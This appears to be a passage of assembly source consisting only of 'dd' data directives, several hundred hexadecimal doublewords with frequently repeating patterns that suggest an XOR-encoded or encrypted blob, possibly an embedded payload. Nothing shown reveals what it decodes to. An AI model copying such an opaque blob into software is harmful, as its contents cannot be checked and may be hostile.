dd 31B13256h, 0E18896D8h, 0BA585213h, 1AB13256h, 48FC27B3h
dd 9952F82Fh, 0F50F8454h, 73BE4852h, 0B55A5CDBh, 5DD0CBE9h
dd 0AF3A3D56h, 0AFB13256h, 0CAD13256h, 0D5B0B859h, 0EA493256h
dd 75B1CB56h, 42B132AFh, 5DBDB959h, 26BE3256h, 57B13250h
dd 0ABB1B759h, 0D5B13256h, 0EAB13DBFh, 9E86CE56h, 0C09D788h
dd 0A5D009C2h, 2D0CBA1Bh, 0EFD13256h, 0D7E2D59Ch, 1E063D04h
dd 0EAB1530Dh, 75BEBC59h, 52D13256h, 5DB13253h, 918C645Ah
dd 0A23B6B27h, 0AC323D37h, 0DAB13256h, 0EAB133D2h, 75B1CB56h
dd 0BAB126BFh, 0B6B9A56h, 4B751F75h, 91D40570h, 77096927h
dd 562292BFh, 0E5B132EBh, 75B135D2h, 48315256h, 3C6084EDh
dd 0AEB9B559h, 0DDBE3256h, 0ABB13254h, 0D5B15336h, 8AB132AAh
dd 75B123BFh, 319B3956h, 2A35B29Fh, 6FCE2C9Eh, 59176E27h
dd 0B8591A7Dh, 0E7B13256h, 51F50F7Bh, 173D78B0h, 8A934FC6h
dd 5FA4AA50h, 0F64DD133h, 58B13237h, 0ABB131D0h, 0B4485256h
dd 0FA583256h, 8CB13256h, 0A507B7B5h, 0DE3D93DAh, 0B517D192h
dd 57715B38h, 0A458CB56h, 0F3B13256h, 7ED197F8h, 741305EBh
dd 4B2D0B92h, 5DB169D5h, 0AEBBB359h, 52583256h, 0C5B13256h
dd 3CFA2066h, 69BE3256h, 75B13243h, 0BABEBA59h, 57583256h
dd 0FB13256h, 0A97E8E6Dh, 0BD70783Bh, 0B5B132E7h, 8BFD8336h
dd 75B123BFh, 0D5C55C56h, 7553052Bh, 0D2899FD3h, 0E5997BA4h
dd 0ABD01C83h, 0D5BFDB56h, 0C8E13256h, 0A23ADD3h, 0A533BB83h
dd 0A0E8D9AEh, 0AB343D36h, 31B13256h, 0DA8ADBD7h, 0D5D06A06h
dd 64BE5256h, 75B13253h, 5D3192ECh, 4D303D7Bh, 47B13256h
dd 57B1325Dh, 4EFF414Eh, 74F35ABEh, 8BF3223Ch, 75493256h
dd 0BAA1DB56h, 8EC23256h, 676EA1CAh, 0AB45C63Ah, 0DD2C5A0Fh
dd 0D5B1BAAEh, 13B132AAh, 75493256h, 0B63B3D56h, 52B13256h
dd 0AEB134D0h, 57313D56h, 0ABB13256h, 0D5B1CB56h, 0E5B132AFh
dd 75B122DCh, 0BABADB56h, 6A1E3256h, 0C4CD22F2h, 8F1C977Bh
dd 5EB132ACh, 0DAD13256h, 0EAB122D7h, 75BADB56h, 0E1193256h
dd 0AF17AA37h, 0A3EAF6EDh, 57B15316h, 0ABB0B259h, 0D54D3256h
dd 8C4D5256h, 144706ECh, 0B5583256h, 63B13256h, 909AB662h
dd 0DEF9533Dh, 69281D89h, 0D5B157A0h, 0EAB138BFh, 0BCA56456h
dd 87A1794Dh, 5D9888DFh, 0BC3A3D56h, 0BEB13256h, 0ABB1325Bh
dd 0B9515696h, 0EEEBADEBh, 888A501h, 43B13247h, 9E085436h
dd 2ABE525Ch, 57B13256h
dd 0ABB1BC59h, 0B4D03256h, 0EA443256h, 75B1CB56h, 527FB936h
dd 5DB13259h, 0D05FEAE7h, 6E5BD1FEh, 9386919Ch, 6C3734D0h
dd 9746A21Fh, 75B1530Ch, 0BABDB659h, 0DCBE3256h, 0AEB13250h
dd 57B1BE59h, 0ABB13256h, 0B5B132AFh, 0CC66C4D7h, 0D90B7863h
dd 0DBA2ADE8h, 3BD13256h, 0C8BC27ECh, 36334AECh, 0CDD13256h
dd 0B5EF17EEh, 0F75EB330h, 14D0CE70h, 52D13256h, 5DB13250h
dd 0D62C50C5h, 36D18F71h, 0ABBFDB0Eh, 82E93256h, 49BC56DDh
dd 0DEE9BFF6h, 0B1FA9606h, 0A1B13237h, 0A6583256h, 0F0B13256h
dd 0C25DA8D9h, 0D54C3F90h, 0F93B3D56h, 9CB13256h, 0BAB13258h
dd 6AA5966Dh, 0FF58ED25h, 3744B236h, 0ABB19752h, 2278B336h
dd 3C69AE3h, 75B13251h, 865B8E3Eh, 3C992F6Bh, 0AEB137BFh
dd 0CC2A156h, 0ABB15014h, 6ED7C736h, 0EAD0E103h, 74303D56h
dd 42B13256h, 0DDBE3256h, 0AEB13257h, 58B132AAh, 0ABB13AD9h
dd 0D73F3D56h, 8AB13256h, 7B313D37h, 0DAB13256h, 5DB1BA59h
dd 65303256h, 0CC8ABBh, 0CBB13237h, 123A54AAh, 0E5B13237h
dd 75B139D0h, 0BAB7DB56h, 86323256h, 7F6224F5h, 44583256h
dd 0CAB13256h, 7A2840C3h, 8E256BF6h, 7F7C69D2h, 0F08D3BDFh
dd 5DB10C6Ch, 0AEB137BFh, 0E1DD5156h, 0ABB1E726h, 0D5B122BFh
dd 0CD829456h, 0B04D1298h, 5ABE3684h, 62368537h, 47B1320Dh
dd 57B13253h, 66180831h, 20B132B6h, 0EAB13CBFh, 7CD29956h
dd 7886550h, 8C142B5Ch, 0AE287340h, 5C3F3D56h, 0CBB13256h
dd 0DA6BB930h, 0EAB132D6h, 75B15356h, 0B16BB236h, 52B13237h
dd 0AEB133DFh, 57B1CE56h, 0ABBDB659h, 53BE3256h, 0EAB13250h
dd 75B1B459h, 0BA443256h, 0A4E05256h, 0AEB1530Fh, 57B121BFh
dd 6B329A56h, 2D81460Fh, 58346564h, 0B36A8AE6h, 7C8EAE49h
dd 0D2BE3256h, 0AEB1325Ah, 57B7B059h, 26BE3256h, 0D5B13256h
dd 6FBE3256h, 75B1325Dh, 790E5436h, 963054A3h, 47D0B568h
dd 57B13250h, 0CBCD5475h, 0D5B15653h, 63BE6036h, 75B13256h
dd 0BAB1530Dh, 5DBDBE59h, 0A9583256h, 0CCB13256h, 0C0F7AEEEh
dd 0D5B1129Fh, 3B132AEh, 75B1325Ah, 89303B32h, 0B70B325Eh
dd 7B7BB1FCh, 44583256h, 76B13256h, 2F87D513h, 0A6F88C0Eh
dd 305F13D6h, 528C9B1Ch, 5DB14246h, 0A1B132AEh, 57B123DEh
dd 0ABBDDB56h, 1D213256h, 0CA2742F7h, 3C72AAA2h, 0BAB10B49h
dd 8E0E3D36h, 0AEB5BB59h, 0E9D73256h, 0A4D0ACDBh, 0D5B12EDDh
dd 0FC3D3D56h, 9CB13256h, 0BAB13247h, 2017DFBDh, 572DB33Eh
dd 71813098h, 55647082h, 20B1324Dh, 0EC583256h, 0D5B13256h
dd 5D0DA13Dh, 3DB13211h, 0F5EF6506h, 0BEB13237h, 0ABB13259h
dd 3BB9D39Fh, 6A9DAFF8h, 0E51D5E97h, 0BA9BAB11h, 5DB8DB56h
dd 74BD3256h, 7FF00574h, 0AB6068ACh, 0D5B6DB56h, 26143256h
dd 6BE2A638h, 0BABBDB46h, 0FC7E3256h, 0EBFDEEFBh, 53E49166h
dd 2CBE3256h, 0D5B13257h, 3B132A3h, 75B1325Bh, 0F760B8EAh
dd 6B51FCB1h, 10D46D6Bh, 0ABB1329Ah, 0A4D13256h, 54D7E0E9h
dd 8B23E3B9h, 75B139BFh, 687E5256h, 0ED18880h, 2224317Ch
dd 0DDBE3256h, 0ABB13242h, 0D5B13DBFh, 9CBDE256h, 0AB78A3FFh
dd 0A48AE92Dh, 374D7D9Eh, 18095436h, 3643B9DBh, 2BD13256h
dd 54D7CBBEh, 8B4DBFB5h, 7B583256h, 32B13256h, 0FB2D2A6Fh
dd 2B2CC398h, 516852D6h, 0A4B132F1h, 0D5B13ED4h, 0EC303D56h
dd 7AB13256h, 0BAB132DBh, 0A8B13256h, 0A4583256h, 34B13256h
dd 9D37DA75h, 0C4CD1F1Dh, 0E5B13202h, 75B139D5h, 60315256h
dd 5D323D41h, 0CFB13256h, 58D13256h, 0ABB137D5h, 0C305456h
dd 8B4D9A33h, 4B7FB236h, 0BAD0A9E3h, 0E2BE5256h, 0CF43B9A7h
dd 50583256h, 1B13256h, 0DBB3867Dh, 0EAB17859h, 75A2DB36h
dd 0D8813256h, 47C8211Ah, 0D4B39AD1h, 0B78832CBh, 737953BDh
dd 0D5B15319h, 0EAB0BE59h, 75493256h, 0BABFDB56h, 1E303256h
dd 7FF22D05h, 7642B972h, 2A178B09h, 3CB132AEh, 0EAB1325Fh
dd 0B5D62499h, 0A949C58Bh, 0B4B13293h, 0AEB1325Eh, 1BEF4C7Ah
dd 0E7B63E79h, 0D5483256h, 0EABEDB56h, 0EAA23256h, 0C477BA06h
dd 1A31B066h, 76E83EDFh, 0BEB132D0h, 0ABB13247h, 0BD9AFC56h
dd 120F4BF9h, 0D1E5F856h, 99663009h, 52B132AAh, 0AEB139D1h
dd 8E305256h, 0C9A8D5A8h, 0B47F8D59h, 60D13256h, 73333D97h
dd 0B5B13256h, 5DB132D5h, 0AEB15356h, 57BDB659h, 21BE3256h
dd 0D5B13250h, 0EAB1B459h, 13D13256h, 31D7C0DDh, 5DB153AFh
dd 2FD76536h, 0E3B2085h, 0ABB9DB37h, 3A9A3256h, 8531A82Dh
dd 75B1EE9Fh, 52D28136h, 5DB13247h, 273CB175h, 0F92AFA3Ch
dd 0A1D9D256h, 0A4D15A90h, 0EAD06DFBh, 75B1CE56h, 9263B336h
dd 3CF2336Dh, 0A5583256h, 6AB13256h, 31A96579h, 9681459h
dd 0EA49476Eh, 754DCB56h, 0BAB8DB56h, 0E2213256h, 0FB0739AEh
dd 57AEC7AFh, 2AD75256h, 0DA7D3C87h, 0EAB130DDh, 14D05256h
dd 43B132AEh, 52B132AEh, 0AEB135D6h, 31445256h, 0CA245DEDh
dd 0DC583256h, 11B13256h, 1BAEBAC9h, 4D5ACC73h, 5DB126BFh
dd 90EF5256h, 52AFE76h, 0DDB96B0Ah, 53AFE3EBh, 0CF17974Ah
dd 80B13270h, 0B5583256h, 3AB13256h, 859733A2h, 0A1509D16h
dd 61162AACh, 53BEA497h, 0EAB1325Eh, 75B3B359h, 0DBD13256h
dd 0DABE3256h, 0AEB13247h, 57B13EBFh, 0F5BA7256h, 8053C021h
dd 8D1911Bh, 75A2DB7Dh, 2ACC3256h, 5E65DF8h, 882AF2E3h
dd 483F26CBh, 84958782h, 0DAB13242h, 0EAB135D9h, 74393D56h
dd 46B13256h, 3BD13256h, 0CE8AF1D7h, 57B153AAh, 0ABA2DBAEh
dd 0DFFF3256h, 0BF01779Ah, 377EE245h, 5DB1418h, 0F0434A04h
dd 52B13279h, 58583256h, 2BB13256h, 9E1CE449h, 422074E4h
dd 27FA3FAAh, 0BAB1253Ah, 5DD0C736h, 0AEB1C756h, 57B126BFh
dd 6D689256h, 8DC3A8ABh, 0E6AD2D10h, 0B1C16DB4h, 0FDCE46A8h
dd 0A1B13278h, 0AE4D3256h, 0DB0E5256h, 0F8B98EFAh, 8A42B930h
dd 0E4595237h, 0F3B13256h, 460949D3h, 0D81D5DEBh, 0ACDEC16Fh
dd 3E60B311h, 0F2B20E91h, 0D5B153A3h, 0EAB9BE59h, 0F1BE3256h
dd 0BAB13254h, 5DB15336h, 0AEB6BF59h, 0D3BE3256h, 0ABB13257h
dd 3CB132AEh, 0EAB13251h, 9B12410Dh, 0BA562D81h, 0BE305256h
dd 0C8EF2694h, 57B9DB37h, 2423256h, 0CBEF7222h, 0EAB1D663h
dd 75BAB059h, 0BC583256h, 0B5B13256h, 0DF098492h, 58B13243h
dd 0ABB136DBh, 53B5256h, 0EAB6DB37h, 0CF263256h, 4F0A7B61h
dd 0A1B132FFh, 0AEA0B759h, 5B583256h, 0A5B13256h, 0A4F83F0Ch
dd 0AB5F9702h, 75ED09D7h, 0BABFDB56h, 373F3256h, 0D221C981h
dd 0E4354EBCh, 0DD083D05h, 0D5A6BE59h, 0F8583256h, 7DB13256h
dd 0CF86048Ch, 45B1846Ah, 7F98EB9Bh, 0CEC17804h, 42B1320Bh
dd 0D5B13253h, 56F9ACCBh, 9CB1321Ch, 0BAB1325Fh, 7A3A6A3Bh
dd 43BAB780h, 37B13290h, 0A44BB930h, 0D5D0F0E9h, 0EAB1C756h
dd 8CB132AFh, 0AE583256h, 6BB13256h, 6BD399A4h, 9229A4EEh
dd 8002570h, 23D8CEF2h, 0EA7459A4h, 0F4D75256h, 0B55B80B4h
dd 5DB137DEh, 59305456h, 57D0ECC4h, 26BE5256h, 0D5B13254h
dd 6BD76A07h, 14E9078Ch, 34BE3256h, 5DB13242h, 0AEB13DBFh
dd 749C6256h, 9C242604h, 3BA9395Ch, 0BA7DB5E8h, 75483256h
dd 0BAB1CB56h, 5DB13EBFh, 97498F56h, 952DE6FEh, 8FCCF84Dh
dd 0DAB132A1h, 0EAB133DFh, 75B1CE56h, 43B132A3h, 51583256h
dd 0F5B13256h, 455CAD90h
dd 0D3AC3F30h, 0D59758F1h, 343A5256h, 75B153A3h, 0BAB134BFh
dd 7CB8F656h, 0AE2DD343h, 56353D56h, 57B13256h, 3A305436h
dd 0E5D19B3Dh, 0FFBECDE1h, 0BAB13256h, 5DB15337h, 29BE6236h
dd 57B13256h, 25BE530Ch, 0D5B13251h, 0E5E96536h, 75D0CAE1h
dd 0BAB1C756h, 5DB13FBFh, 62107E56h, 0D2B3C7FCh, 0E946B5E9h
dd 0D5B1CF30h, 8AB132AAh, 3F0C0D7h, 0B5D0433Eh, 5DB123D4h
dd 0AEBDDB56h, 159D3256h, 0FDA2C16Bh, 632C1A7Ch, 0EAB11231h
dd 75B0BB59h, 0BA493256h, 0D6D75256h, 5247B2A1h, 0BEB13237h
dd 0ABB13245h, 232D7A28h, 48F2E819h, 4B4A87C3h, 0A6E6616Dh
dd 5D45D892h, 713A5256h, 58B13237h, 0ABB135D6h, 5ED75256h
dd 8B4AB9A6h, 0FABE3256h, 0BAB13257h, 0B4B132AAh, 0AEB1325Ah
dd 6BB31071h, 2E655DC3h, 0F4B8F607h, 0EAB135BFh, 0A988B656h
dd 0E25DB4Eh, 4F583256h, 45B13256h, 0E4401E6Ah, 19AF1718h
dd 4DA5656Dh, 0B69828B5h, 9CB132A8h, 0BAB13258h, 0E44CADC0h
dd 0D4E7D1A2h, 3A6B2BDFh, 0ABB1B938h, 0D5B137BFh, 8A3BD756h
dd 75B1D215h, 36FB336h, 0B5D80611h, 0AEB13246h, 58D629F3h
dd 964D0A7Bh, 415C330Bh, 3D98E57Eh, 75B13BBFh, 0CE881E56h
dd 0BA754506h, 0CFEF8F89h, 57443256h, 0ABB1C756h, 0D5B126BFh
dd 0C737D356h, 0BF14CA5Fh, 0DBF58111h, 0FE438CE5h, 0E560D2C9h
dd 0AFB132F0h, 2AD13256h, 0B84813BCh, 0C8508B5Eh, 9CD07990h
dd 0BAB1325Eh, 4E39C192h, 4B1B6EC3h, 0DEBE3256h, 0ABB1325Dh
dd 0D5B134BFh, 0FE50356h, 7A7314A0h, 0BAB138D5h, 0D6D75256h
dd 890F8B80h, 57D04C6Fh, 0ABB1CA56h, 0D5B13ABFh, 51904556h
dd 9461B73Bh, 4FB13287h, 0D8BE3256h, 0AEB13257h, 0BEB132AAh
dd 0ABB13258h, 0ADD6CCDFh, 9DC9FF67h, 0BCDDBE0Ah, 0BAB1FC75h
dd 52B132AAh, 0AEB133D2h, 57B1CB56h, 0ABB134BFh, 0FFD46156h
dd 0EACDE5D3h, 0F2BE5256h, 0BAB13254h, 0AC306D04h, 82CF1B09h
dd 0ABB13237h, 0ABB13FBFh, 0FF0FA956h, 0DEC9C616h, 0DFF210B8h
dd 0BAB19574h, 5DB120BFh, 0A2C4B556h, 352B3F33h, 0C2172348h
dd 441BE29Eh, 0EAEAAD12h, 0B2315256h, 0DB4BB9BCh, 5D4D3256h
dd 0A2353D56h, 37B13256h, 0C50F05EFh, 43C38D58h, 0EAD048D8h
dd 75B4DB56h, 8F463256h, 5DB6F4C5h, 0AEB1CE56h, 57B134BFh
dd 0F0CE6A56h, 0D5E54128h, 0EB323D56h, 89B13256h, 0B5D13256h
dd 5DD0F0E9h, 0AEB1CA56h, 57BDBF59h, 0AC583256h, 65B13256h
dd 96BABC1Eh, 75B1ED01h, 0BABDBD59h, 0DDBE3256h, 0AEB13250h
dd 57B1BC59h, 0B8583256h, 0C1B13256h, 52F60B27h, 0D68CC03Eh
dd 12E1CD86h, 0B567A2E3h, 0AEB14635h, 57A0B759h, 29BE3256h
dd 0D5B1325Dh, 0EAB134BFh, 0DA32556h, 0BAE2E564h, 5DB1CA56h
dd 0A93E3DAAh, 58B13256h, 0ABB133DFh, 0D5B1CE56h, 8AB132AAh
dd 0A5CA8A30h, 0BAB7B859h, 0AB303256h, 929C664Fh, 0BEB13237h
dd 0ABB1325Bh, 0BF10703Eh, 9087046h, 0FF342D93h, 42B13256h
dd 0DCBE3256h, 0AEB13251h, 57B0BB59h, 0AB483256h, 54D75256h
dd 5E6AD291h, 75B15381h, 0BABEDB36h, 32313256h, 94F9EE9Fh
dd 4F459262h, 7425B8C7h, 0D5BEDB16h, 2B763256h, 0E722B33Fh
dd 67EB8C9Dh, 0AB85B2CFh, 0AEB15381h, 57A6B659h, 0B9583256h
dd 77B13256h, 3DF33C89h, 55DDA735h, 123DCABCh, 0B630A307h
dd 5BB132E6h, 57483256h, 0AC323D56h, 0DAB13256h, 0EAB133D6h
dd 75B1C756h, 0B5B132AEh, 5DB133D5h, 0AEB1CB56h, 57B0BD59h
dd 0A44D3256h, 0D5B133D7h, 0EAB1CE56h, 0FED752AAh, 0BABDDBADh
dd 25F03256h, 0CE87DF2Dh, 0BFC1A129h, 0ABD04A1Bh, 0D5A3DB56h
dd 41FE3256h, 0D11BA7BFh, 3976BE73h, 0EE6CD687h, 0C85F020Ch
dd 0D4BE3256h, 0ABB1325Eh, 0D5B3B159h, 8BD13256h, 80B132AFh
dd 0B5B132A3h, 5DB124DDh, 0AEA0DB56h, 2FE83256h, 3B3EAFF5h
dd 60B91C76h, 3CA73EA6h, 756B9070h, 0BAB1CB56h, 3446436h
dd 5F3A5406h, 37D1530Dh, 0A46EB930h, 0D5B132D0h, 8B4D5356h
dd 65583256h, 59B13256h, 0F43A78F9h, 7F9B3CAh, 11DDE1D5h
dd 0ABD3FAEDh, 6ABE5256h, 8C445291h, 14D0C1DDh, 0ED13256h
dd 5DB15376h, 2E7EB836h, 37D0698Dh, 54063D36h, 1F063D01h
dd 0EA595308h, 2FB13256h, 7931D8D7h, 0D9BE35BCh, 0AEB13266h
dd 57A3DB36h, 44AA3256h, 5DD1FBFDh, 67AE0F20h, 5EEF253Bh
dd 0A0531B0Eh, 5DB120BFh, 0E52DD956h, 7D8607D5h, 0B9F238A9h
dd 5FACE53Ah, 8B8B32DEh, 75B134BFh, 29403E56h, 0A15A0A94h
dd 1B91B7DBh, 0D7BE35BFh, 0ABB13251h, 0D5B0B059h, 8A4D3256h
dd 7137B5EFh, 0B63D3D36h, 0B4B13256h, 0AEB13251h, 7DAD8F55h
dd 0CAE60100h, 790BB0DFh, 6BBE35BCh, 75B1325Dh, 0CF0A5436h
dd 8D305445h, 23D0B860h, 0BC1F66D4h, 2938CB51h, 0D25B9EBBh
dd 0EAA3B059h, 0FCBE3256h, 0BAB1325Ah, 5DB135BFh, 544C5456h
dd 0A59CCB8Bh, 0AB8532BEh, 0D6095256h, 2F9B938h, 75B13258h
dd 0B3EBB004h, 84AE1BB9h, 0CE1CCF7Dh, 5158545Ah, 63B13256h
dd 368EAD5Eh, 2D069A5h, 75B1303Dh, 0B033F5AEh, 5DB6D8FAh
dd 0A1B13256h, 57B135DBh, 1CBE5256h, 0B4D052AFh, 0E0343D04h
dd 9CB13256h, 0BAB13253h, 1F13068h, 8334F4B1h, 1B6D67Ah
dd 0ABB13DBFh, 3F938D56h, 0A62CBC34h, 0FE81CFE2h, 0B1447FE9h
dd 0F509603Eh, 19BE52CAh, 3666B890h, 0EA04CDAEh, 0B5B6D677h
dd 0EAB13CBFh, 9981FA56h, 0E92996E9h, 9AFB7154h, 2F5BFE37h
dd 3CCD2CA7h, 2E3C5355h, 0D25682F1h, 79085236h, 7AE95B00h
dd 0BAB132DFh, 0EB0F5356h, 0CFC6CB35h, 0D7D1E2A9h, 0A2592890h
dd 9AB13256h, 4982D04Eh, 59CA3B78h, 33D069AFh, 0B992D3D3h
dd 0B9323D51h, 37B13256h, 0B159B330h, 0D5BADB6Eh, 1DC83256h
dd 0CF13F422h, 3361CF42h, 59DB53E1h, 59305236h, 0CFAB853h
dd 0AF50B330h, 0DAD153B4h, 0EAB132DAh, 7D6DB256h, 0BAD95337h
dd 52B13246h, 0AEB121D1h, 57BFDB56h, 21F03256h, 0B950B7F2h
dd 0CACBB59Ah, 9E942FBEh, 0B9BC723Eh, 5DDBCB56h, 0AEB13EBFh
dd 0E8868256h, 8E526B0Fh, 5D927147h, 0E561CDF5h, 75B135D0h
dd 0BB3C3D56h, 0A1B13256h, 20BECE0Ch, 57B1325Ah, 0ABB7B459h
dd 5CBE3256h, 0EAB13256h, 0F1BEF25Dh, 0BAB13340h, 0B44D52AEh
dd 0AEB13245h, 56DAACA8h, 0AE885A5h, 0D89CB041h, 6BA89C04h
dd 140B86F5h, 16BBB0DFh, 0D6BE35BCh, 0AEB1325Eh, 57B3B659h
dd 0CAD13256h, 79ABB0DFh, 534935BCh, 75B23F16h, 5349B9A3h
dd 5DB13247h, 0AC345517h, 0CF0F2B23h, 5B613C0Bh, 5FF15247h
dd 0EC58522Bh, 0A9B13256h, 753B8876h, 6809548Ah, 6E82538Ah
dd 579BB359h, 42D13256h, 0D5B1325Ch, 5BE26FD1h, 0CD5A7BD1h
dd 0AE58731Ah, 0DEB13256h, 0AD9169AFh, 0CB2F3B9Dh, 60D01EDAh
dd 86EB5EB1h, 8BA73312h, 274D98A5h, 53B558AFh, 5DB13258h
dd 2EBAA085h, 21E21EE0h, 714D2DB0h, 0D5D9AA24h, 3B13246h
dd 75B1325Fh, 0C398C374h, 869C2A36h, 0AAB15A73h, 3D493256h
dd 0ABA0DB56h, 0A72C3256h, 0B6C4047h, 3546A702h, 8DE2A9ADh
dd 0A892C93Eh, 8D50A0A9h, 0D7BE35B2h, 0ABB13240h, 0D5B123BFh
dd 0C810B856h, 0F2055CFAh, 723CA204h, 9E2A7942h, 56EB27F4h
dd 57B0B359h, 224D3256h, 3F1E2AD4h, 16D0CA51h, 0D9BBB7DDh
dd 3CBE35BCh, 5DB13257h, 0CE4DF1A3h, 57B13ABFh, 93E48D56h
dd 53FE6002h, 0E733F5A5h, 75B6D665h, 0B5B17256h, 5DB13AD7h
dd 0AC3D3D56h, 37B13256h
dd 7A33F537h, 0D5B6D64Fh, 0E5B13246h, 75B133D3h, 53D0C756h
dd 5DB1325Eh, 0C2EFAC2Dh, 1D6D3175h, 0ABBEDB95h, 1C863256h
dd 81531222h, 329E5F83h, 0ECF18E48h, 0A444521Fh, 2BB88DDh
dd 0DBBE35BCh, 0ABB13251h, 0D5B0BB59h, 69483256h, 0F1BE3269h
dd 0BAB132BBh, 5DBDB759h, 22BE3256h, 57B13250h, 0ABB1BC59h
dd 0AA323256h, 6EBE3046h, 75B13239h, 0C571B336h, 0AEBB3CFh
dd 5BD06CAFh, 53A14DD5h, 0AB37B659h, 0B3D13256h, 0AC08EDD7h
dd 75B121BEh, 0E4B2B756h, 0C4CE94E9h, 6DDFE724h, 96AFE011h
dd 4B00F0B4h, 0D5B123BFh, 0B51F3256h, 0D37F27FAh, 0BA597F8Eh
dd 4B573D0Ch, 0CFE92D6Eh, 4376B1A3h, 0ABB13CBFh, 0DBD8056h
dd 916002D5h, 4194EE42h, 53BBC3D3h, 0A24ECD25h, 0A90F5436h
dd 90D0C704h, 0ABB02211h, 0DD583256h, 30B13256h, 0B1AE4C19h
dd 5379C499h, 0A24ECD93h, 0AEBCDB36h, 31EE3256h, 0C1BAFEE6h
dd 1D316FB4h, 8B965CE7h, 76A17591h, 0B5B13256h, 5DB13AD8h
dd 74305256h, 1D64E266h, 5426DB37h, 87D1CDA9h, 0DF881CE8h
dd 78586B17h, 91B13256h, 3955A014h, 5D0C0A82h, 902456C5h
dd 0BA585337h, 0A5B13256h, 1C43F13Dh, 4726F883h, 536C58DAh
dd 1F3B7F1h, 0AEBDDB95h, 0E9573256h, 1C312019h, 0D2A6FE0Ah
dd 8AE4FF47h, 75B135BEh, 1028F556h, 0D6633046h, 0A1E66BAFh
dd 36E8CDE1h, 0AF333D36h, 0B3B13256h, 614D0BE8h, 993A539Dh
dd 0BAB7BC59h, 3BD13256h, 0CF761EEFh, 5D353D36h, 42B13256h
dd 0D5B13253h, 0B54F03BDh, 75B1DAEAh, 3BEB3256h, 0B77991BCh
dd 0A058CA51h, 0EB13256h, 20C0A4E5h, 3125EB38h, 58DA4320h
dd 5B03B970h, 0B5B6D8F9h, 5DB13EDEh, 0A8373D56h, 58B13256h
dd 0ABB132D8h, 0D5B8DB56h, 0DF053256h, 0EEA6B2E4h, 31443D69h
dd 4E583A13h, 1CB13256h, 1D1ED10Dh, 2A2D9BDDh, 6329B1Eh
dd 220A743Ah, 73380634h, 0BAB139BFh, 616E5256h, 7DA9E416h
dd 0AA3C1D05h, 49FB0D5h, 20B535BCh, 0ED585237h, 18B13256h
dd 24C4FB90h, 94D01286h, 2FD76036h, 0CE9EBB1h, 69D0C2DDh
dd 0B5493252h, 0EABDB659h, 0F8BE3256h, 0BAB13250h, 5DB1BB59h
dd 0AE593256h, 0DB13256h, 62E1D8D7h, 204D35BCh, 45A980DDh
dd 4E4935BCh, 501E1CE4h, 8C353D51h, 0CEB13257h, 0E75BDAD6h
dd 953A5374h, 0B3A6536h, 0F0B600Ch, 2BD550EFh, 536EB937h
dd 5DB1325Eh, 7F543373h, 0AAB7CD80h, 0AAFE8459h, 0D5B0B959h
dd 1C483256h, 7A313311h, 0BAB10CD3h, 0E2BE5256h, 0AEB8DBAEh
dd 0FD6B3256h, 4A3E6605h, 0B459FD80h, 68BEEB55h, 75B13251h
dd 0BAB0BD59h, 0B4493256h, 0AEB13265h, 57A0BF59h, 0A7583256h
dd 7FB13256h, 23DBF208h, 0D5DE9357h, 91B1014Fh, 49313D8Fh
dd 47B13256h, 57B13259h, 8B86C91Ah, 13FEA099h, 7EEC7C4Dh
dd 365551CEh, 53D152AEh, 5DB1325Bh, 284C2899h, 99BF8167h
dd 0C88827DFh, 0B472B841h, 0C25AE2D7h, 36D0292Eh, 0BAB0B359h
dd 0D64D3256h, 4A927FD3h, 57BBDB51h, 148B3256h, 9FF112B4h
dd 0BC6A9A90h, 60D4BFDDh, 814935B2h, 0E8333D8Eh, 0A1B13256h
dd 57B12FD7h, 0BC3E3D56h, 3CB13256h, 0EAB13244h, 616C45A9h
dd 0D0F13218h, 6656021Fh, 655F7D1Ch, 8E8A4D1Ch, 0AB3BB559h
dd 0C6583256h, 3B13256h, 0C1B8C354h, 0C2C1B1CEh, 0BA6FAFD6h
dd 6670F69Fh, 913231EEh, 43D15252h, 0D5B1325Bh, 0CC29D32Fh
dd 39AADE5Ah, 0F40E44ACh, 49586D2Fh, 3AB13256h, 424E4964h
dd 0DACD3F09h, 0ECD6C7E7h, 6E4E56FBh, 14166542h, 0B5D01DE2h
dd 5DB13CD4h, 0AEB8DB56h, 0E2DB3256h, 12CCE38Ch, 3C17E222h
dd 154ECCD5h, 75B13FBFh, 6897B456h, 55253FB1h, 41EB52FDh
dd 5A58EDE6h, 0EBB13256h, 70958944h, 95260F68h, 0C65E8116h
dd 3EBEFD6Dh, 5DB13262h, 0AEB13CBFh, 778C8356h, 0DC5F3103h
dd 47FAFFD4h, 8ABBFA25h, 75B7DBA3h, 355B3256h, 0A17E1871h
dd 0CB0CBB37h, 58B6D643h, 0ABB133D9h, 0C858C756h, 124ECDA8h
dd 75A0DB37h, 83A93256h, 5D1B5BDEh, 592E62DAh, 1B7DD11Ch
dd 6896A503h, 0A553B236h, 0FB2AF0D7h, 15D03025h, 0BAB123BFh
dd 0CE5EA156h, 365C2FF6h, 0BABD4F74h, 65832BE7h, 56BEC1D3h
dd 0EAB13241h, 75A0B659h, 0B6583256h, 0C8B13256h, 8BFB5B3Eh
dd 0E5C16FC4h, 437650DBh, 0D5B13256h, 735BB30Ch, 7AB6D89Dh
dd 0BAB133D1h, 0B4D1CA56h, 0AEB1325Eh, 0FC73D4h, 3B4735F0h
dd 0B5D047E5h, 6BD7E8DDh, 141FE6B9h, 15A988DDh, 555835BCh
dd 55B13256h, 400152Ah, 42341833h, 0D5B1325Ah, 0ED79F43Ch
dd 31DC9AEEh, 0FE2E553Dh, 5DB032EFh, 0A1343D56h, 0BEB13256h
dd 0ABB1325Ch, 64678982h, 7FB755FAh, 0B58263E7h, 0BAB0BE59h
dd 0AE493256h, 220252FDh, 57B3B659h, 0F1E13256h, 0DD3D3D37h
dd 0E5B13256h, 75B130DBh, 31D05256h, 0B71E2AD4h, 2C38CE51h
dd 505B9D78h, 0ABB0B659h, 0B4493256h, 0E5725336h, 75B139D6h
dd 5BE5256h, 0A567B3ACh, 0CFA7DBF2h, 43323D36h, 0CBB13256h
dd 0D5BDDBAAh, 3EB93256h, 0BE1C64EAh, 0DEC887D5h, 0B5D0D05Dh
dd 0AEB13256h, 3A5BB30Ch, 42B6D89Ah, 0D5B13242h, 72BCF1EAh
dd 0D8F8C314h, 0FD95BF62h, 0B0ABAD2Bh, 8E2A78C9h, 0B963B336h
dd 0CDE0B1B3h, 0B48F52EDh, 0C69CB790h, 7AE735B2h, 0BAB133D9h
dd 64D9CA56h, 0CE652D3Bh, 0D3BEC736h, 0ABB13256h, 0D73C3D37h
dd 0BBB13256h, 0C04E530Fh, 0BD551317h, 5DB8DA36h, 7FA23256h
dd 0BF395042h, 0A480E2E3h, 64EAE5E9h, 6F3C5361h, 725682F1h
